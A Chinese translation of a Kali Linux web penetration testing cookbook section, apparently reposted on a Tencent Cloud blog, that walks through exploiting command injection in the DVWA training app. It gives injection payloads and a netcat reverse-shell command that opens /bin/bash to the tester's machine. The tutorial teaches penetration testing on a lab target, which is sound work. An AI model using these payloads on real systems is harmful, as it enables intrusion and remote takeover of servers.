前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

Kali Linux Web渗透测试手册(第二版) - 6.8 - 检测和利用命令注入漏洞

作者头像
用户1631416
发布2019-03-06 14:41:31
6850
发布2019-03-06 14:41:31
举报
文章被收录于专栏:玄魂工作室玄魂工作室

翻译来自掣雷小组

成员信息:

thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt

6.8、检测和利用命令注入漏洞

我们以前已经看到如何使用PHP的system()函数在服务器中执行操作系统命令。有时,开发人员使用诸如此类的指令或具有相同功能的其他指令来执行某些任务。最终,它们使用未经验证的用户输入作为命令执行的参数,因此就形成了命令注入漏洞。

在此小节中,我们将利用命令注入漏洞从服务器提取重要的信息。

实战演练

登录到DVWA中,并进入命令执行页面(Command Execution)

1. 我们将看到一个自由形式的Ping表格。来让我试一下ping 192.168.56.10(这是我们Kali Linux的IP):

这个输出看起来像是直接从ping命令的输出中获得的。这表明服务器正在使用操作系统命令来执行ping,因此可能会注入操作系统命令。

2. 让我们尝试注入一个非常简单的命令。提交以下代码,

代码语言:javascript
复制
192.168.56.10;uname –a:

我们可以在ping输出之后看到uname命令的输出。我们这里有一个命令注入漏洞。

3. 如果去掉IP地址,仅有;uname –a 呢?结果如下图所示:

4. 现在,我们将在服务器上获得一个反向shell。首先,我们必须确保服务器上拥有我们需要的东西。提交 ;ls /bin/nc*。它应该返回一个完整路径的文件列表:

我们有不止一个版本的NetCat,它是我们用来生成连接的工具。NetCat的OpenBSD版本不支持在连接上执行命令,因此我们将使用traditional。

5. 下一步是监听Kali Linux中的连接。打开终端,运行以下命令:

代码语言:javascript
复制
nc -lp 1691 -v

6. 然后我们在浏览器中提交以下内容:

代码语言:javascript
复制
;nc.traditional -e/bin/bash 192.168.56.10 1691 &

7. 我们将看到如何在监听Kali终端接收连接。在这里,我们可以在服务器上执行命令,如下图所示:

我们的终端会对连接做出反应。现在我们可以发出非交互式命令并检查它们的输出。

原理剖析

与SQLi和其他示例一样,命令注入漏洞是由于输入验证机制不佳,以及使用用户提供的数据来形成字符串,这些字符串可能将用作操作系统的命令。如果我们查看我们刚刚攻击的页面的源代码(每个DVWA页面右下角都有一个按钮),如图所示:

我们可以看到它直接将用户的输入追加到ping命令。我们所做的只是添加了一个分号,系统的shell将其解释为命令分隔符,在分号旁边是我们想要执行的命令。

在成功执行命令之后,下一步是验证服务器是否具有NetCat, NetCat是一种能够建立网络连接的工具,在某些版本中,还可以在建立新连接时执行命令。

我们看到服务器的系统有两个不同版本的NetCat,之后我们选择了适合我们版本特性的那个。

然后,我们将攻击系统设置为侦听TCP端口1691上的连接(可能是任何其他可用的TCP端口),然后,指示服务器通过该端口连接到我们的机器,并在连接建立时执行/bin/bash(系统shell)。我们通过该连接发送的任何内容都将被服务器中的shell作为输入接收。使用&在命令的末尾,是在后台执行它,防止PHP脚本的执行停止,因为它正在等待命令的响应。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档